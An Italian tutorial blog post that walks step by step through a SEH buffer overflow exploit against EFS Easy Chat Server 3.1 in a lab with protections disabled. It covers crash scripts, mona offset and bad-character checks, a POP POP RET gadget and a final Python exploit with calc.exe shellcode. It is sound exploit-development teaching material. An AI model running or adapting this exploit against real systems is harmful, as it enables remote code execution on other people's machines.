SEH Overflow II - EFS Easy Chat Server 3.1

Tempo di lettura: 15 minuti
Data pubblicazione: October 17, 2022

Introduzione

Secondo articolo della serie SEH Buffer Overflow, target: EFS Easy Chat Server 3.1

Altri post in questa serie: 5. SEH Overflow I - Vulnserver GMON 5. SEH Overflow II - EFS Easy Chat Server 3.1 5. SEH Overflow III - Easy File Sharing Web Server 7.2 5. SEH Overflow IV - DocPrint Pro 8.0

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

EFS Easy Chat Server

EFS Easy Chat Server 3.1 è un programma che veniva usato anni fa per chattare con altre persone sulla stessa LAN, nel quale si potevano creare utenti e gruppi. Una volta avviato espone un web server sulla porta 80.

Ci sono diverse vulnerabilità, noi ci concentreremo sulla pagina di registrazione.

Crash Iniziale

Sapendo che il server è vulnerabile a Buffer Overflow, andiamo a creare un primo script che lo manderà in crash.

#!/usr/bin/python

import os
import sys
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
target = (TARGET_IP, TARGET_PORT) 

payload = b"A" * 1000

buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"

buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(target) 
s.send(buffer) 
s.close() 

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 1000

Riavvio Easy Chat e aggiorno lo script inserendo il pattern

#!/usr/bin/python

import os
import sys
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000  # change me

target = (TARGET_IP, TARGET_PORT) 

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1.."

buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"

buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(target) 
s.send(buffer) 
s.close() 

Analizzo l’exchain e cerco i pattern ciclici

0:006> !exchain
01d86a88: ntdll!_except_handler4+0 (77eb84b0)
CRT scope  1, filter: ntdll!RtlDebugFreeHeap+25a (77f0fad2)
                func:   ntdll!RtlDebugFreeHeap+26a (77f0fae2)
CRT scope  0, func:   ntdll!RtlDebugFreeHeap+2bc (77f0fb34)
01d86bcc: ntdll!_except_handler4+0 (77eb84b0)
CRT scope  0, func:   ntdll!RtlpFreeHeap+12b2 (77e60ad2)
01d86c8c: EasyChat+46a60 (00446a60)
01d86e18: 34684133
Invalid exception stack at 68413268


0:006> !py mona po 34684133
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 34684133
Looking for 3Ah4 in pattern of 500000 bytes
- Pattern 3Ah4 (0x34684133) found in cyclic pattern at position 221

0:006> !py mona po 68413268
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 68413268
Looking for h2Ah in pattern of 500000 bytes
- Pattern h2Ah (0x68413268) found in cyclic pattern at position 217

Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere SEH con 4 C e NSEH con 4 B.

#!/usr/bin/python

import os
import sys
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000  # change me
OFFSET = 217
target = (TARGET_IP, TARGET_PORT) 

payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += "D" * (CRASH_LEN - len(payload))

buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"

buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(target) 
s.send(buffer) 
s.close() 

Ed ecco che l’exchain è sovrascritta con i nostri caratteri.

0:006> !exchain
01b66a88: ntdll!_except_handler4+0 (77eb84b0)
CRT scope  1, filter: ntdll!RtlDebugFreeHeap+25a (77f0fad2)
                func:   ntdll!RtlDebugFreeHeap+26a (77f0fae2)
CRT scope  0, func:   ntdll!RtlDebugFreeHeap+2bc (77f0fb34)
01b66bcc: ntdll!_except_handler4+0 (77eb84b0)
CRT scope  0, func:   ntdll!RtlpFreeHeap+12b2 (77e60ad2)
01b66c8c: EasyChat+46a60 (00446a60)
01b66e18: 43434343
Invalid exception stack at 42424242

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

#!/usr/bin/python

import os
import sys
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000  # change me
OFFSET = 217
target = (TARGET_IP, TARGET_PORT) 

#\x00
bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))

buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"

buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(target) 
s.send(buffer) 
s.close() 

Proseguo l’esecuzione per vedere se ho sovracritto il Next SEH.

0:006> g
HEAP[EasyChat.exe]: Invalid address specified to RtlFreeHeap( 01B00000, 01B1D398 )
(368.12fc): Break instruction exception - code 80000003 (first chance)
eax=002e2000 ebx=01b1d390 ecx=005f25cc edx=01d968b1 esi=01b00000 edi=00000000
eip=77edf56a esp=01d96a24 ebp=01d96a38 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!RtlpValidateHeapEntry+0x49b95:
77edf56a cc              int     3

0:006> !teb
TEB at 002ea000
    ExceptionList:        01d96a88
    StackBase:            01db0000
    StackLimit:           01d96000
….
0:006>  dt _EXCEPTION_REGISTRATION_RECORD 01d96a88
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x01d96bcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x77eb84b0     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

Proseguo al prossimo Handler

0:006> g
(368.12fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000067 ebx=00000006 ecx=100f0e0d edx=0047a691 esi=100f0e0d edi=00000067
eip=00457b1e esp=01d96ca0 ebp=01d977e8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
EasyChat+0x57b1e:
00457b1e 8b06            mov     eax,dword ptr [esi]  ds:0023:100f0e0d=????????
0:006> !teb
TEB at 002ea000
    ExceptionList:        01d96e18
    StackBase:            01db0000
    StackLimit:           01d96000
…..
0:006>  dt _EXCEPTION_REGISTRATION_RECORD 01d96e18
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x42424242 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler   

Siamo arrivati al nostro buffer, dumpo quindi il contenuto per vedere se qualche carattere è stato eliminato

0:006> db 01d96e18 L110
01d96e18  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
01d96e28  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
01d96e38  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 57 28 29 2a  ....... !"#$W()*
01d96e48  20 2c 2d 2e 2f 30 31 32-33 34 35 36 37 38 39 3a   ,-./0123456789:
01d96e58  3b 3c 3d 3e 3f 40 41 42-43 44 45 46 47 48 49 4a  ;<=>?@ABCDEFGHIJ
01d96e68  4b 4c 4d 4e 4f 50 51 52-53 54 55 56 57 58 59 5a  KLMNOPQRSTUVWXYZ
01d96e78  5b 5c 5d 5e 5f 60 61 62-63 64 65 66 67 68 69 6a  [\]^_`abcdefghij
01d96e88  6b 6c 6d 6e 6f 70 71 72-73 74 75 76 77 78 79 7a  klmnopqrstuvwxyz
01d96e98  7b 7c 7d 7e 7f 80 81 82-83 84 85 86 87 88 89 8a  {|}~............
01d96ea8  8b 8c 8d 8e 8f 90 91 92-93 94 95 96 97 98 99 9a  ................
01d96eb8  9b 9c 9d 9e 9f a0 a1 a2-a3 a4 a5 a6 a7 a8 a9 aa  ................
01d96ec8  ab ac ad ae af b0 b1 b2-b3 b4 b5 b6 b7 b8 b9 ba  ................
01d96ed8  bb bc bd be bf c0 c1 c2-c3 c4 c5 c6 c7 c8 c9 ca  ................
01d96ee8  cb cc cd ce cf d0 d1 d2-d3 d4 d5 d6 d7 d8 d9 da  ................
01d96ef8  db dc dd de df e0 e1 e2-e3 e4 e5 e6 e7 e8 e9 ea  ................
01d96f08  eb ec ed ee ef f0 f1 f2-f3 f4 f5 f6 f7 f8 f9 fa  ................
01d96f18  fb fc fd fe ff 44 44 44-44 44 44 44 44 44 44 44  .....DDDDDDDDDDD

Non sembrano esserci bad char (oltre al solito \x00), cerco ora un PPR

POP POP RET

L’obiettivo ora è di trovare un POP POP RET in modo tale da far puntare EIP al nostro Next SEH e redirezionare il flusso. Cerco quindi con mona nei moduli dell’eseguibile

0:006> !py mona seh -cpb "\x00"
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh  -cpb "\x00"

---------- Mona command started on 2022-09-08 17:28:18 (v2.0, rev 616) ----------
[+] Processing arguments and criteria
…………….
[+] Results : 
0x10017f21 |   0x10017f21 : pop esi # pop ecx # ret  | ascii {PAGE_EXECUTE_READ} [SSLEAY32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy Chat Server\SSLEAY32.dll)
0x10017f64 |   0x10017f64 : pop esi # pop ecx # ret  | ascii {PAGE_EXECUTE_READ} [SSLEAY32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy Chat Server\SSLEAY32.dll)
0x10017fda |   0x10017fda : pop esi # pop ecx # ret  |  {PAGE_EXECUTE_READ} [SSLEAY32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy Chat Server\SSLEAY32.dll)
….

Prendo il primo, aggiungo lo short jump di 8 e aggiorno lo script

#!/usr/bin/python

import os
import sys
import socket
import struct 

TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000  # change me
OFFSET = 217
target = (TARGET_IP, TARGET_PORT) 

payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8
payload += struct.pack("<I",0x10017f21)  #PPR
payload += b"\x90" * 10
payload += b"D" * (CRASH_LEN - len(payload))

buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"

buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(target) 
s.send(buffer) 
s.close() 

Eseguo mettendo il breakpoint su 0x10017f21 per vedere se è tutto ok

Continuo l’esecuzione fino a che non viene intercettata dall’exception handler e una volta arrivato al breakpoint faccio singoli step fino ad arrivare al jump.

0:006> bp 10017f21
*** WARNING: Unable to verify checksum for C:\EFS Software\Easy Chat Server\SSLEAY32.dll
0:006> g
(82c.6a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=037c8d8c ebx=00000006 ecx=00000144 edx=01bb6f8c esi=01c12074 edi=0047a765
eip=76a96dec esp=01bb6c80 ebp=01bb6ca8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
KERNEL32!lstrcpyA+0x1c:
76a96dec 880c16          mov     byte ptr [esi+edx],cl      ds:0023:037c9000=??
0:006> g
(82c.6a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=44444444 ebx=00000000 ecx=00000000 edx=037c8ea0 esi=037c8fe8 edi=4444443c
eip=77f1cf5f esp=01bb6a20 ebp=01bb6a44 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
ntdll!RtlpLocateRelatedBlocks+0x53:
77f1cf5f 8b7710          mov     esi,dword ptr [edi+10h] ds:0023:4444444c=????????
0:006> g
(82c.6a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=44444444 ebx=037c8d58 ecx=44444444 edx=037c8ea8 esi=037c8ea0 edi=01980000
eip=77e5ffb7 esp=01bb6aa4 ebp=01bb6bdc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
ntdll!RtlpFreeHeap+0x797:
77e5ffb7 8b00            mov     eax,dword ptr [eax]  ds:0023:44444444=????????
0:006> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10017f21 edx=77ec5b10 esi=00000000 edi=00000000
eip=10017f21 esp=01bb6540 ebp=01bb6560 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SSLEAY32!SSL_use_certificate_file+0x41:
10017f21 5e              pop     esi
0:006> t
eax=00000000 ebx=00000000 ecx=10017f21 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=10017f22 esp=01bb6544 ebp=01bb6560 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SSLEAY32!SSL_use_certificate_file+0x42:
10017f22 59              pop     ecx
0:006> t
eax=00000000 ebx=00000000 ecx=01bb6640 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=10017f23 esp=01bb6548 ebp=01bb6560 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SSLEAY32!SSL_use_certificate_file+0x43:
10017f23 c3              ret
0:006> t
eax=00000000 ebx=00000000 ecx=01bb6640 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=01bb6e18 esp=01bb654c ebp=01bb6560 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01bb6e18 90              nop
0:006> t
eax=00000000 ebx=00000000 ecx=01bb6640 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=01bb6e19 esp=01bb654c ebp=01bb6560 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01bb6e19 90              nop
0:006> t
eax=00000000 ebx=00000000 ecx=01bb6640 edx=77ec5b10 esi=77ec5af2 edi=00000000
eip=01bb6e1a esp=01bb654c ebp=01bb6560 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01bb6e1a eb06            jmp     01bb6e22
0:006> u 01bb6e22
01bb6e22 90              nop
01bb6e23 90              nop
01bb6e24 90              nop

Sembra ci sia tutto lo spazio che ci serve, proviamo ad inserire lo shellcode

Inserimento dello shellcode

Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C.

Il codice finale sarà

#!/usr/bin/python

import os
import sys
import socket
import struct 

TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
CRASH_LEN = 1000  # change me
OFFSET = 217
target = (TARGET_IP, TARGET_PORT) 

#calc.exe
shellcode = b"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"  

payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8
payload += struct.pack("<I",0x10017f21)  #PPR
payload += b"\x90" * 10
payload += shellcode
payload += b"D" * (CRASH_LEN - len(payload))

buffer = b"POST /registresult.htm HTTP/1.1\r\n\r\n"
buffer += b"Host: 192.168.1.11"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += b"Accept-Language: en-US,en;q=0.5"
buffer += b"Accept-Encoding: gzip, deflate"
buffer += b"Referer: http://192.168.1.11/register.ghp"
buffer += b"Connection: close"
buffer += b"Content-Type: application/x-www-form-urlencoded"

buffer += b"UserName=" + payload + b"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register" 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(target) 
s.send(buffer) 
s.close() 

Conclusioni

Rispetto al primo articolo sul SEH è stato un esercizio molto più semplice, ma che ci permette di capire bene il funzionamento del SEH. Di seguito alcuni approfondimenti:

  1. Exploit writing tutorial part 3 : SEH Based Exploits
  2. OSCE Exam Practice - Part III (GMON via SEH Overwrite w/ Egg Hunter)
  3. SEH Based Buffer Overflow
  4. FuzzySecurity part 3: Structured Exception Handler (SEH)